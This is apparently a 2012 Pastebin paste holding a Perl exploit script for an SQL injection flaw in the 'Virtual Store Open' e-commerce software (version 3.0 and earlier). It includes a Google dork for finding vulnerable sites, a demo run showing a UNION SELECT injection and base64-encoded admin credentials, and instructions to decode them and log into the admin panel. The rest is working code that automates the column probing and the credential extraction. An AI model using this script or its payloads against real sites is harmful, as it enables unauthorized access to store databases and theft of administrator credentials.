khalilasharen

Virtual Store Open <= 3.0

Apr 20th, 2012
155
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.77 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. # Script Name: Virtual Store Open <= 3.0
  4. # Link1 : http://www.virtuastore.com.br/shopping.asp?link=ShoppingVirtuaStore
  5. # Link2 : http://www.virtuastore2010.com.br/
  6. # Link3 Yahoo Group : http://br.groups.yahoo.com/group/virtuastore/
  7. # Bug: Acess Sql Injection
  8. # Found: Br0ly
  9. # google dork: inurl:"produtos.asp?produto="
  10. # Use some base64 decode google IT.
  11. # After decoding login and pass go to: www.site.com.br/administrador.asp
  12. # aoiuaoaaaaiuahiuahaaiauhaiuha EASY ???
  13. # BRASIL!! :D
  14. #
  15. # exploit demo:
  16. #
  17. #[br0ly@xploit web]$ perl virtualstore.txt http://server/produtos.asp?produto=98
  18. #
  19. # --------------------------------------
  20. # -Virutal Store OPen
  21. # -ACESS Sql Injection
  22. # -by Br0ly
  23. # --------------------------------------
  24. #
  25. #[+] GO: http://server/produtos.asp?produto=-1
  26. #[+] Testing: 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
  27. #[+] URL_INJECTED:: http://server/produtos.asp?produto=-1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,c0li,24,25%20FROM%20acesso;
  28. #[+] LOGIN:: YWRtaW4=
  29. #[+] SENHA:: ZXVyZWth
  30. #[+] Done
  31. #
  32. # ADMIN PAINEL: http://server/administrador.asp
  33. #
  34. use IO::Socket::INET;
  35. use IO::Select;
  36. use HTTP::Request;
  37. use LWP::UserAgent;
  38.  
  39. #CONF
  40.  
  41. my $host = $ARGV[0];
  42. my $spc = "%20";
  43. my $ce = "%26";
  44. my $fim_n = 51;
  45. my $login = "chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)".$spc.$ce.$spc."login".$spc.$ce.$spc."chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)";
  46. my $senha = "chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)".$spc.$ce.$spc."senha".$spc.$ce.$spc."chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)";
  47.  
  48. if(@ARGV < 1 ) { help(1); }
  49. $h0st = url_id($host);
  50. banner();
  51.  
  52.  
  53. #GO
  54.  
  55. magic($h0st);
  56.  
  57. sub magic () {
  58.  
  59. my $url = $_[0];
  60. my $union = "UNION".$spc."SELECT".$spc;
  61. my $end = "FROM".$spc."acesso;";
  62. my $c0de = "";
  63. my $c0li = "";
  64. my $i = 1;
  65. my $content = "";
  66. print "[+] GO: $url\n";
  67. syswrite(STDOUT,"[+] Testing: ",14);
  68. for($i = 1;$i <= $fim_n;$i += 1) {
  69. my @num_magic = char_str($i);
  70. my $num_edit = edit_char(@num_magic);
  71. my $hex = "chr(98)".$ce."chr(114)".$ce."chr(48)".$ce."chr(108)".$ce."chr(121)".$ce."$num_edit".$ce."chr(121)".$ce."chr(108)".$ce."chr(48)".$ce."chr(114)".$ce."chr(98)";
  72. my $bin = "br0ly".$i."yl0rb";
  73. if(($i > 1) && ($i < $fim_n)) {
  74. $c0li = $c0li.",".$hex;
  75. $c0de = $c0de.",".$bin;
  76. }
  77. else {
  78. $c0li = $c0li.$hex;
  79. $c0de = $c0de.$bin;
  80. }
  81. syswrite(STDOUT,$i.",", 255);
  82. my $xpl = $url.$spc.$union.$c0li.$spc.$end;
  83. $content = get_query($xpl);
  84. $content = tag($content);
  85. if($content =~ /fail/) { $i = $fim_n+1; }
  86. if($content =~ m/br0ly/i) {
  87. $number = ssdp_mid_str("br0ly","yl0rb",$content);
  88. $link1 = str_replace($c0de,"br0ly".$number."yl0rb","c0li");
  89. $link2 = str_replace($link1,"br0ly","");
  90. $link3 = str_replace($link2,"yl0rb","");
  91. $inject = $url.$spc.$union.$link3.$spc.$end;
  92. $sql_i = $inject;
  93. print "\n[+] URL_INJECTED:: $inject\n";
  94. $login_i = get_login($sql_i);
  95. if($login_i != 1) {
  96. print "[+] LOGIN:: $login_i\n";
  97. }
  98. else {
  99. print "[-] FAIL TO GET LOGIN\n";
  100. }
  101. $senha_i = get_senha($sql_i);
  102. if($senha_i != 1) {
  103. print "[+] SENHA:: $senha_i\n";
  104. }
  105. else {
  106. print "[-] FAIL TO GET SENHA\n";
  107. }
  108. $i = $fim_n;
  109. }
  110. if($i == $fim_n+1) {
  111. print ("[-] Failed to get magic number. Please try it manually :)\n");
  112.  
  113. }
  114. }
  115. print ("[+] Done\n");
  116. }
  117.  
  118. sub tag () {
  119. my $string = $_[0];
  120. $string =~ s/ /\$/g;
  121. $string =~ s/\s/\*/g;
  122. return($string);
  123. }
  124.  
  125. sub ssdp_mid_str () {
  126. my $left = $_[0];
  127. my $right = $_[1];
  128. my $string = $_[2];
  129. my @exp = split($left,$string);
  130. my @data = split($right,$exp[1]);
  131. return $data[0];
  132. }
  133.  
  134. sub get_login () {
  135. my $sqli = $_[0];
  136. $login_aux = str_replace($sqli,"c0li",$login);
  137. $query = get_query($login_aux);
  138. if($query =~ m/br0ly(.+)br0ly/i) {
  139. $login_r = $1;
  140. return $login_r;
  141. }
  142. else { return 1; }
  143. }
  144.  
  145. sub get_senha () {
  146. my $sqli = $_[0];
  147. $senha_aux = str_replace($sqli,"c0li",$senha);
  148. $query = get_query($senha_aux);
  149. if($query =~ m/br0ly(.+)br0ly/i) {
  150. $senha_r = $1;
  151. return $senha_r;
  152. }
  153. else { return 1; }
  154. }
  155.  
  156. sub url_id () {
  157. my $host = $_[0];
  158. my $fail = "fail";
  159. if($host =~ /=(.+)/) {
  160. $id = $1;
  161. $new_id = "-1";
  162. $host = str_replace($host,$id,$new_id);
  163. return $host;
  164. }
  165. else {
  166. return $fail;
  167. }
  168. }
  169.  
  170. sub str_replace () {
  171. my $source = shift;
  172. my $search = shift;
  173. my $replace = shift;
  174. $source =~ s/$search/$replace/ge;
  175. return $source;
  176. }
  177.  
  178. sub get_query () {
  179. my $link = $_[0];
  180. if($link =~ /http:\/\//) { $link =~ s/http:\/\///; }
  181. my $fail = "fail";
  182. my $req = HTTP::Request->new(GET => "http://".$link);
  183. my $ua = LWP::UserAgent->new();
  184. $ua->timeout(5);
  185. my $response = $ua->request($req);
  186. #if ($response->is_error) { print("[-][Error] [timeout]\n"); return $fail; }
  187. return $response->content;
  188. }
  189.  
  190. sub char_str () {
  191. my $str_1 = $_[0];
  192. my @str_char = unpack("C*", $str_1);
  193. return @str_char;
  194. }
  195.  
  196.  
  197. sub edit_char () {
  198.  
  199. my @num = @_;
  200. my $num_t = @num;
  201. my $num_magic;
  202.  
  203. if($num_t > 1) {
  204. $num_magic = "chr($num[0])".$ce."chr($num[1])";
  205. return $num_magic;
  206. }
  207. else {
  208. $num_magic = "chr($num[0])";
  209. return $num_magic;
  210. }
  211. }
  212.  
  213. sub help () {
  214. my $help = $_[0];
  215. if($help == 1) {
  216. banner();
  217. print "[-] MISS URL..\n";
  218. print "[+] USE:EX: perl $0 http://www.site_find_in_google.com.br/produtos.asp?produto=98\n";
  219. print "[+] USE:EX-LIVE: perl $0 http://server/produtos.asp?produto=98\n";
  220. exit(0);
  221. }
  222. }
  223.  
  224. sub banner() {
  225.  
  226. print "\n".
  227. " --------------------------------------\n".
  228. " -Virutal Store OPen \n".
  229. " -ACESS Sql Injection \n".
  230. " -by Br0ly \n".
  231. " --------------------------------------\n\n";
  232. }
Advertisement
Add Comment
Please, Sign In to add comment